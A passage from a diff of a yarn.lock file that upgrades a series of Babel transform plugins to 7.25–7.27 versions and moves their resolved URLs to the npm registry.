+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.25.9.tgz"
+  integrity sha512-2NsEz+CxzJIVOPx2o9UsW1rXLqtChtLoVnwYHHiB04wS5sgn7mrV45fWMBX0Kk+ub9uXytVYfNP2HjbVbCB3Ww==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
 
 "@babel/plugin-transform-flow-strip-types@^7.2.0":
   version "7.21.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.21.0.tgz#6aeca0adcb81dc627c8986e770bfaa4d9812aff5"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.21.0.tgz"
   integrity sha512-FlFA2Mj87a6sDkW4gfGrQQqwY/dLlBAyJa2dJEZ+FHXUVHBflO2wyKvg+OOEzXfrKYIa4HWl0mgmbCzt0cMb7w==
   dependencies:
     "@babel/helper-plugin-utils" "^7.20.2"
@@ -1048,465 +1027,486 @@
 
 "@babel/plugin-transform-flow-strip-types@^7.22.5":
   version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.22.5.tgz#0bb17110c7bf5b35a60754b2f00c58302381dee2"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.22.5.tgz"
   integrity sha512-tujNbZdxdG0/54g/oua8ISToaXTFBf8EnSb5PgQSciIXWOWKX3S4+JR7ZE9ol8FZwf9kxitzkGQ+QWeov/mCiA==
   dependencies:
     "@babel/helper-plugin-utils" "^7.22.5"
     "@babel/plugin-syntax-flow" "^7.22.5"
 
-"@babel/plugin-transform-for-of@^7.21.5":
-  version "7.21.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.21.5.tgz#e890032b535f5a2e237a18535f56a9fdaa7b83fc"
-  integrity sha512-nYWpjKW/7j/I/mZkGVgHJXh4bA1sfdFnJoOXwJuj4m3Q2EraO/8ZyrkCau9P5tbHQk01RMSt6KYLCsW7730SXQ==
+"@babel/plugin-transform-for-of@^7.26.9":
+  version "7.26.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.26.9.tgz"
+  integrity sha512-Hry8AusVm8LW5BVFgiyUReuoGzPUpdHQQqJY5bZnbbf+ngOHWuCuYFKw/BqaaWlvEUrF91HMhDtEaI1hZzNbLg==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
+    "@babel/helper-plugin-utils" "^7.26.5"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
 
-"@babel/plugin-transform-function-name@^7.18.9":
-  version "7.18.9"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.18.9.tgz#cc354f8234e62968946c61a46d6365440fc764e0"
-  integrity sha512-WvIBoRPaJQ5yVHzcnJFor7oS5Ls0PYixlTYE63lCj2RtdQEl15M68FXQlxnG6wdraJIXRdR7KI+hQ7q/9QjrCQ==
+"@babel/plugin-transform-function-name@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.25.9.tgz"
+  integrity sha512-8lP+Yxjv14Vc5MuWBpJsoUCd3hD6V9DgBon2FVYL4jJgbnVQ9fTgYmonchzZJOVNgzEgbxp4OwAf6xz6M/14XA==
   dependencies:
-    "@babel/helper-compilation-targets" "^7.18.9"
-    "@babel/helper-function-name" "^7.18.9"
-    "@babel/helper-plugin-utils" "^7.18.9"
+    "@babel/helper-compilation-targets" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
 
-"@babel/plugin-transform-json-strings@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.22.3.tgz#a181b8679cf7c93e9d0e3baa5b1776d65be601a9"
-  integrity sha512-IuvOMdeOOY2X4hRNAT6kwbePtK21BUyrAEgLKviL8pL6AEEVUVcqtRdN/HJXBLGIbt9T3ETmXRnFedRRmQNTYw==
+"@babel/plugin-transform-json-strings@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.25.9.tgz"
+  integrity sha512-xoTMk0WXceiiIvsaquQQUaLLXSW1KJ159KP87VilruQm0LNNGxWzahxSS6T6i4Zg3ezp4vA4zuwiNUR53qmQAw==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/plugin-syntax-json-strings" "^7.8.3"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-literals@^7.18.9":
-  version "7.18.9"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-literals/-/plugin-transform-literals-7.18.9.tgz#72796fdbef80e56fba3c6a699d54f0de557444bc"
-  integrity sha512-IFQDSRoTPnrAIrI5zoZv73IFeZu2dhu6irxQjY9rNjTT53VmKg9fenjvoiOWOkJ6mm4jKVPtdMzBY98Fp4Z4cg==
+"@babel/plugin-transform-literals@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.25.9.tgz"
+  integrity sha512-9N7+2lFziW8W9pBl2TzaNht3+pgMIRP74zizeCSrtnSKVdUl8mAjjOP2OOVQAfZ881P2cNjDj1uAMEdeD50nuQ==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.18.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-logical-assignment-operators@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.22.3.tgz#9e021455810f33b0baccb82fb759b194f5dc36f0"
-  integrity sha512-CbayIfOw4av2v/HYZEsH+Klks3NC2/MFIR3QR8gnpGNNPEaq2fdlVCRYG/paKs7/5hvBLQ+H70pGWOHtlNEWNA==
+"@babel/plugin-transform-logical-assignment-operators@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.25.9.tgz"
+  integrity sha512-wI4wRAzGko551Y8eVf6iOY9EouIDTtPb0ByZx+ktDGHwv6bHFimrgJM/2T021txPZ2s4c7bqvHbd+vXG6K948Q==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-member-expression-literals@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.18.6.tgz#ac9fdc1a118620ac49b7e7a5d2dc177a1bfee88e"
-  integrity sha512-qSF1ihLGO3q+/g48k85tUjD033C29TNTVB2paCwZPVmOsjn9pClvYYrM2VeJpBY2bcNkuny0YUyTNRyRxJ54KA==
+"@babel/plugin-transform-member-expression-literals@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.25.9.tgz"
+  integrity sha512-PYazBVfofCQkkMzh2P6IdIUaCEWni3iYEerAsRWuVd8+jlM1S9S9cz1dF9hIzyoZ8IA3+OwVYIp9v9e+GbgZhA==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-modules-amd@^7.20.11":
-  version "7.20.11"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.20.11.tgz#3daccca8e4cc309f03c3a0c4b41dc4b26f55214a"
-  integrity sha512-NuzCt5IIYOW0O30UvqktzHYR2ud5bOWbY0yaxWZ6G+aFzOMJvrs5YHNikrbdaT15+KNO31nPOy5Fim3ku6Zb5g==
+"@babel/plugin-transform-modules-amd@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.25.9.tgz"
+  integrity sha512-g5T11tnI36jVClQlMlt4qKDLlWnG5pP9CSM4GhdRciTNMRgkfpo5cR6b4rGIOYPgRRuFAvwjPQ/Yk+ql4dyhbw==
   dependencies:
-    "@babel/helper-module-transforms" "^7.20.11"
-    "@babel/helper-plugin-utils" "^7.20.2"
+    "@babel/helper-module-transforms" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-modules-commonjs@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.18.6.tgz#afd243afba166cca69892e24a8fd8c9f2ca87883"
-  integrity sha512-Qfv2ZOWikpvmedXQJDSbxNqy7Xr/j2Y8/KfijM0iJyKkBTmWuvCA1yeH1yDM7NJhBW/2aXxeucLj6i80/LAJ/Q==
+"@babel/plugin-transform-modules-commonjs@^7.18.6", "@babel/plugin-transform-modules-commonjs@^7.25.9", "@babel/plugin-transform-modules-commonjs@^7.26.3":
+  version "7.26.3"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.26.3.tgz"
+  integrity sha512-MgR55l4q9KddUDITEzEFYn5ZsGDXMSsU9E+kh7fjRXTIC3RHqfCo8RPRbyReYJh44HQ/yomFkqbOFohXvDCiIQ==
   dependencies:
-    "@babel/helper-module-transforms" "^7.18.6"
-    "@babel/helper-plugin-utils" "^7.18.6"
-    "@babel/helper-simple-access" "^7.18.6"
-    babel-plugin-dynamic-import-node "^2.3.3"
+    "@babel/helper-module-transforms" "^7.26.0"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-modules-commonjs@^7.21.5":
-  version "7.21.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.21.5.tgz#d69fb947eed51af91de82e4708f676864e5e47bc"
-  integrity sha512-OVryBEgKUbtqMoB7eG2rs6UFexJi6Zj6FDXx+esBLPTCxCNxAY9o+8Di7IsUGJ+AVhp5ncK0fxWUBd0/1gPhrQ==
+"@babel/plugin-transform-modules-commonjs@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.27.1.tgz#8e44ed37c2787ecc23bdc367f49977476614e832"
+  integrity sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw==
   dependencies:
-    "@babel/helper-module-transforms" "^7.21.5"
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/helper-simple-access" "^7.21.5"
+    "@babel/helper-module-transforms" "^7.27.1"
+    "@babel/helper-plugin-utils" "^7.27.1"
 
 "@babel/plugin-transform-modules-commonjs@^7.8.3":
   version "7.21.2"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.21.2.tgz#6ff5070e71e3192ef2b7e39820a06fb78e3058e7"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.21.2.tgz"
   integrity sha512-Cln+Yy04Gxua7iPdj6nOV96smLGjpElir5YwzF0LBPKoPlLDNJePNlrGGaybAJkd0zKRnOVXOgizSqPYMNYkzA==
   dependencies:
     "@babel/helper-module-transforms" "^7.21.2"
     "@babel/helper-plugin-utils" "^7.20.2"
     "@babel/helper-simple-access" "^7.20.2"
 
-"@babel/plugin-transform-modules-systemjs@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.22.3.tgz#cc507e03e88d87b016feaeb5dae941e6ef50d91e"
-  integrity sha512-V21W3bKLxO3ZjcBJZ8biSvo5gQ85uIXW2vJfh7JSWf/4SLUSr1tOoHX3ruN4+Oqa2m+BKfsxTR1I+PsvkIWvNw==
+"@babel/plugin-transform-modules-systemjs@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.25.9.tgz"
+  integrity sha512-hyss7iIlH/zLHaehT+xwiymtPOpsiwIIRlCAOwBB04ta5Tt+lNItADdlXw3jAWZ96VJ2jlhl/c+PNIQPKNfvcA==
   dependencies:
-    "@babel/helper-hoist-variables" "^7.18.6"
-    "@babel/helper-module-transforms" "^7.22.1"
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/helper-validator-identifier" "^7.19.1"
+    "@babel/helper-module-transforms" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-validator-identifier" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
 
-"@babel/plugin-transform-modules-umd@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.18.6.tgz#81d3832d6034b75b54e62821ba58f28ed0aab4b9"
-  integrity sha512-dcegErExVeXcRqNtkRU/z8WlBLnvD4MRnHgNs3MytRO1Mn1sHRyhbcpYbVMGclAqOjdW+9cfkdZno9dFdfKLfQ==
+"@babel/plugin-transform-modules-umd@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.25.9.tgz"
+  integrity sha512-bS9MVObUgE7ww36HEfwe6g9WakQ0KF07mQF74uuXdkoziUPfKyu/nIm663kz//e5O1nPInPFx36z7WJmJ4yNEw==
   dependencies:
-    "@babel/helper-module-transforms" "^7.18.6"
-    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/helper-module-transforms" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-named-capturing-groups-regex@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.22.3.tgz#db6fb77e6b3b53ec3b8d370246f0b7cf67d35ab4"
-  integrity sha512-c6HrD/LpUdNNJsISQZpds3TXvfYIAbo+efE9aWmY/PmSRD0agrJ9cPMt4BmArwUQ7ZymEWTFjTyp+yReLJZh0Q==
+"@babel/plugin-transform-named-capturing-groups-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.25.9.tgz"
+  integrity sha512-oqB6WHdKTGl3q/ItQhpLSnWWOpjUJLsOCLVyeFgeTktkBSCiurvPOsyt93gibI9CmuKvTUEtWmG5VhZD+5T/KA==
   dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.22.1"
-    "@babel/helper-plugin-utils" "^7.21.5"
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-new-target@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.22.3.tgz#deb0377d741cbee2f45305868b9026dcd6dd96e2"
-  integrity sha512-5RuJdSo89wKdkRTqtM9RVVJzHum9c2s0te9rB7vZC1zKKxcioWIy+xcu4OoIAjyFZhb/bp5KkunuLin1q7Ct+w==
+"@babel/plugin-transform-new-target@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.25.9.tgz"
+  integrity sha512-U/3p8X1yCSoKyUj2eOBIx3FOn6pElFOKvAAGf8HTtItuPyB+ZeOqfn+mvTtg9ZlOAjsPdK3ayQEjqHjU/yLeVQ==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-nullish-coalescing-operator@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.22.3.tgz#8c519f8bf5af94a9ca6f65cf422a9d3396e542b9"
-  integrity sha512-CpaoNp16nX7ROtLONNuCyenYdY/l7ZsR6aoVa7rW7nMWisoNoQNIH5Iay/4LDyRjKMuElMqXiBoOQCDLTMGZiw==
+"@babel/plugin-transform-nullish-coalescing-operator@^7.26.6":
+  version "7.26.6"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.26.6.tgz"
+  integrity sha512-CKW8Vu+uUZneQCPtXmSBUC6NCAUdya26hWCElAWh5mVSlSRsmiCPUUDKb3Z0szng1hiAJa098Hkhg9o4SE35Qw==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
+    "@babel/helper-plugin-utils" "^7.26.5"
 
-"@babel/plugin-transform-numeric-separator@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.22.3.tgz#02493070ca6685884b0eee705363ee4da2132ab0"
-  integrity sha512-+AF88fPDJrnseMh5vD9+SH6wq4ZMvpiTMHh58uLs+giMEyASFVhcT3NkoyO+NebFCNnpHJEq5AXO2txV4AGPDQ==
+"@babel/plugin-transform-numeric-separator@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.25.9.tgz"
+  integrity sha512-TlprrJ1GBZ3r6s96Yq8gEQv82s8/5HnCVHtEJScUj90thHQbwe+E5MLhi2bbNHBEJuzrvltXSru+BUxHDoog7Q==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/plugin-syntax-numeric-separator" "^7.10.4"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-object-rest-spread@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.22.3.tgz#da6fba693effb8c203d8c3bdf7bf4e2567e802e9"
-  integrity sha512-38bzTsqMMCI46/TQnJwPPpy33EjLCc1Gsm2hRTF6zTMWnKsN61vdrpuzIEGQyKEhDSYDKyZHrrd5FMj4gcUHhw==
+"@babel/plugin-transform-object-rest-spread@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.25.9.tgz"
+  integrity sha512-fSaXafEE9CVHPweLYw4J0emp1t8zYTXyzN3UuG+lylqkvYd7RMrsOQ8TYx5RF231be0vqtFC6jnx3UmpJmKBYg==
   dependencies:
-    "@babel/compat-data" "^7.22.3"
-    "@babel/helper-compilation-targets" "^7.22.1"
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/plugin-syntax-object-rest-spread" "^7.8.3"
-    "@babel/plugin-transform-parameters" "^7.22.3"
+    "@babel/helper-compilation-targets" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/plugin-transform-parameters" "^7.25.9"
 
-"@babel/plugin-transform-object-super@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.18.6.tgz#fb3c6ccdd15939b6ff7939944b51971ddc35912c"
-  integrity sha512-uvGz6zk+pZoS1aTZrOvrbj6Pp/kK2mp45t2B+bTDre2UgsZZ8EZLSJtUg7m/no0zOJUWgFONpB7Zv9W2tSaFlA==
+"@babel/plugin-transform-object-super@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.25.9.tgz"
+  integrity sha512-Kj/Gh+Rw2RNLbCK1VAWj2U48yxxqL2x0k10nPtSdRa0O2xnHXalD0s+o1A6a0W43gJ00ANo38jxkQreckOzv5A==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.18.6"
-    "@babel/helper-replace-supers" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-replace-supers" "^7.25.9"
 
-"@babel/plugin-transform-optional-catch-binding@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.22.3.tgz#e971a083fc7d209d9cd18253853af1db6d8dc42f"
-  integrity sha512-bnDFWXFzWY0BsOyqaoSXvMQ2F35zutQipugog/rqotL2S4ciFOKlRYUu9djt4iq09oh2/34hqfRR2k1dIvuu4g==
+"@babel/plugin-transform-optional-catch-binding@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.25.9.tgz"
+  integrity sha512-qM/6m6hQZzDcZF3onzIhZeDHDO43bkNNlOX0i8n3lR6zLbu0GN2d8qfM/IERJZYauhAHSLHy39NF0Ctdvcid7g==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/plugin-syntax-optional-catch-binding" "^7.8.3"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-optional-chaining@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.22.3.tgz#5fd24a4a7843b76da6aeec23c7f551da5d365290"
-  integrity sha512-63v3/UFFxhPKT8j8u1jTTGVyITxl7/7AfOqK8C5gz1rHURPUGe3y5mvIf68eYKGoBNahtJnTxBKug4BQOnzeJg==
+"@babel/plugin-transform-optional-chaining@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.25.9.tgz"
+  integrity sha512-6AvV0FsLULbpnXeBjrY4dmWF8F7gf8QnvTEoO/wX/5xm/xE1Xo8oPuD3MPS+KS9f9XBEAWN7X1aWr4z9HdOr7A==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/helper-skip-transparent-expression-wrappers" "^7.20.0"
-    "@babel/plugin-syntax-optional-chaining" "^7.8.3"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
 
-"@babel/plugin-transform-parameters@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.22.3.tgz#24477acfd2fd2bc901df906c9bf17fbcfeee900d"
-  integrity sha512-x7QHQJHPuD9VmfpzboyGJ5aHEr9r7DsAsdxdhJiTB3J3j8dyl+NFZ+rX5Q2RWFDCs61c06qBfS4ys2QYn8UkMw==
+"@babel/plugin-transform-parameters@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.25.9.tgz"
+  integrity sha512-wzz6MKwpnshBAiRmn4jR8LYz/g8Ksg0o80XmwZDlordjwEk9SxBzTWC7F5ef1jhbrbOW2DJ5J6ayRukrJmnr0g==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-private-methods@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.22.3.tgz#adac38020bab5047482d3297107c1f58e9c574f6"
-  integrity sha512-fC7jtjBPFqhqpPAE+O4LKwnLq7gGkD3ZmC2E3i4qWH34mH3gOg2Xrq5YMHUq6DM30xhqM1DNftiRaSqVjEG+ug==
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.22.1"
-    "@babel/helper-plugin-utils" "^7.21.5"
-
-"@babel/plugin-transform-private-property-in-object@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.22.3.tgz#031621b02c7b7d95389de1a3dba2fe9e8c548e56"
-  integrity sha512-C7MMl4qWLpgVCbXfj3UW8rR1xeCnisQ0cU7YJHV//8oNBS0aCIVg1vFnZXxOckHhEpQyqNNkWmvSEWnMLlc+Vw==
+"@babel/plugin-transform-private-methods@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.25.9.tgz"
+  integrity sha512-D/JUozNpQLAPUVusvqMxyvjzllRaF8/nSrP1s2YGQT/W4LHK4xxsMcHjhOGTS01mp9Hda8nswb+FblLdJornQw==
   dependencies:
-    "@babel/helper-annotate-as-pure" "^7.18.6"
-    "@babel/helper-create-class-features-plugin" "^7.22.1"
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/plugin-syntax-private-property-in-object" "^7.14.5"
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-property-literals@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.18.6.tgz#e22498903a483448e94e032e9bbb9c5ccbfc93a3"
-  integrity sha512-cYcs6qlgafTud3PAzrrRNbQtfpQ8+y/+M5tKmksS9+M1ckbH6kzY8MrexEM9mcA6JDsukE19iIRvAyYl463sMg==
+"@babel/plugin-transform-private-property-in-object@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.25.9.tgz"
+  integrity sha512-Evf3kcMqzXA3xfYJmZ9Pg1OvKdtqsDMSWBDzZOPLvHiTt36E75jLDQo5w1gtRU95Q4E5PDttrTf25Fw8d/uWLw==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-react-display-name@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.18.6.tgz#8b1125f919ef36ebdfff061d664e266c666b9415"
-  integrity sha512-TV4sQ+T013n61uMoygyMRm+xf04Bd5oqFpv2jAEQwSZ8NwQA7zeRPg1LMVg2PWi3zWBz+CLKD+v5bcpZ/BS0aA==
+"@babel/plugin-transform-property-literals@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.25.9.tgz"
+  integrity sha512-IvIUeV5KrS/VPavfSM/Iu+RE6llrHrYIKY1yfCzyO/lMXHQ+p7uGhonmGVisv6tSBSVgWzMBohTcvkC9vQcQFA==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-react-jsx-development@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.18.6.tgz#dbe5c972811e49c7405b630e4d0d2e1380c0ddc5"
-  integrity sha512-SA6HEjwYFKF7WDjWcMcMGUimmw/nhNRDWxr+KaLSCrkD/LMDBvWRmHAYgE1HDeF8KUuI8OAu+RT6EOtKxSW2qA==
+"@babel/plugin-transform-react-display-name@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.25.9.tgz"
+  integrity sha512-KJfMlYIUxQB1CJfO3e0+h0ZHWOTLCPP115Awhaz8U0Zpq36Gl/cXlpoyMRnUWlhNUBAzldnCiAZNvCDj7CrKxQ==
   dependencies:
-    "@babel/plugin-transform-react-jsx" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-react-jsx@^7.18.6":
-  version "7.19.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.19.0.tgz#b3cbb7c3a00b92ec8ae1027910e331ba5c500eb9"
-  integrity sha512-UVEvX3tXie3Szm3emi1+G63jyw1w5IcMY0FSKM+CRnKRI5Mr1YbCNgsSTwoTwKphQEG9P+QqmuRFneJPZuHNhg==
+"@babel/plugin-transform-react-jsx-development@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.25.9.tgz"
+  integrity sha512-9mj6rm7XVYs4mdLIpbZnHOYdpW42uoiBCTVowg7sP1thUOiANgMb4UtpRivR0pp5iL+ocvUv7X4mZgFRpJEzGw==
   dependencies:
-    "@babel/helper-annotate-as-pure" "^7.18.6"
-    "@babel/helper-module-imports" "^7.18.6"
-    "@babel/helper-plugin-utils" "^7.19.0"
-    "@babel/plugin-syntax-jsx" "^7.18.6"
-    "@babel/types" "^7.19.0"
